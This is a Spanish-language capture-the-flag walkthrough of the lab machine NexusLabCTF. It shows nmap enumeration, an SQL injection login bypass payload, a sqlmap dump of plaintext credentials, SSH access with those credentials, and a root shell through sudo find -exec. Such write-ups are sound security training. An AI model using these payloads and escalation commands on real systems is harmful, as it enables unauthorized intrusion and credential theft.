Enumeración de servicios
El objetivo expone únicamente SSH y HTTP. Como aún no tenemos credenciales para SSH, la aplicación web es el punto de entrada inicial:
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.14
...
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Site doesn't have a title (text/html).
...Enumeración web
La enumeración conduce a /index2.php, que revela la ruta de un panel de autorización:
NEXUS MSG> _ AUTHORIZATION PANEL :: http://[personal ip]/auth-login.phpExplotación de la inyección SQL
El formulario concatena la entrada del usuario en una consulta SQL. El valor admin' or 1=1-- - cierra la cadena, añade una condición siempre verdadera y comenta el resto de la consulta, lo que permite omitir la autenticación.
Confirmada la SQL Injection, usamos SQLmap sobre los formularios detectados para enumerar y volcar la tabla de credenciales:
❯ sqlmap -u "http://192.168.1.14/auth-login.php" --forms --crawl=1 --dump
...
+----+--------------------+----------+
| id | password | username |
+----+--------------------+----------+
| 1 | F4ckTh3F4k3H4ck3r5 | shelly |
| 2 | cambiame08 | admin |
+----+--------------------+----------+
...Acceso inicial mediante SSH
Probamos las credenciales recuperadas en el segundo servicio expuesto. shelly:F4ckTh3F4k3H4ck3r5 funciona por SSH:
❯ ssh shelly@192.168.1.14
...
shelly@192.168.1.14's password: F4ckTh3F4k3H4ck3r5
...
shelly@NexusLabCTF:~$La sesión permite recuperar la primera flag. A continuación, sudo -l muestra que shelly puede ejecutar /usr/bin/find como cualquier usuario sin contraseña:
shelly@NexusLabCTF:~$ sudo -l
...
User shelly may run the following commands on NexusLabCTF:
(ALL) NOPASSWD: /usr/bin/findEscalada de privilegios mediante find
La opción -exec de find ejecuta un comando por cada resultado. Este Sudo-Allowed Program Abuse hace que el comando herede los privilegios de root porque toda la utilidad se inicia mediante sudo; -quit detiene la búsqueda después de crear la primera shell:
shelly@NexusLabCTF:~$ sudo find . -exec /bin/bash \; -quit
root@NexusLabCTF:/home/shelly#La flag de root está incrustada en una imagen dentro de /root/Sion-Code. Como la shell no dispone de entorno gráfico, usamos strings para extraer las secuencias de caracteres imprimibles del archivo:
root@NexusLabCTF:~/Sion-Code# strings use-fim-to-root.png
...
;HMV-FLAG[[ ************* ]]
...La cadena resultante contiene la flag final. La recuperamos y damos por completada la máquina.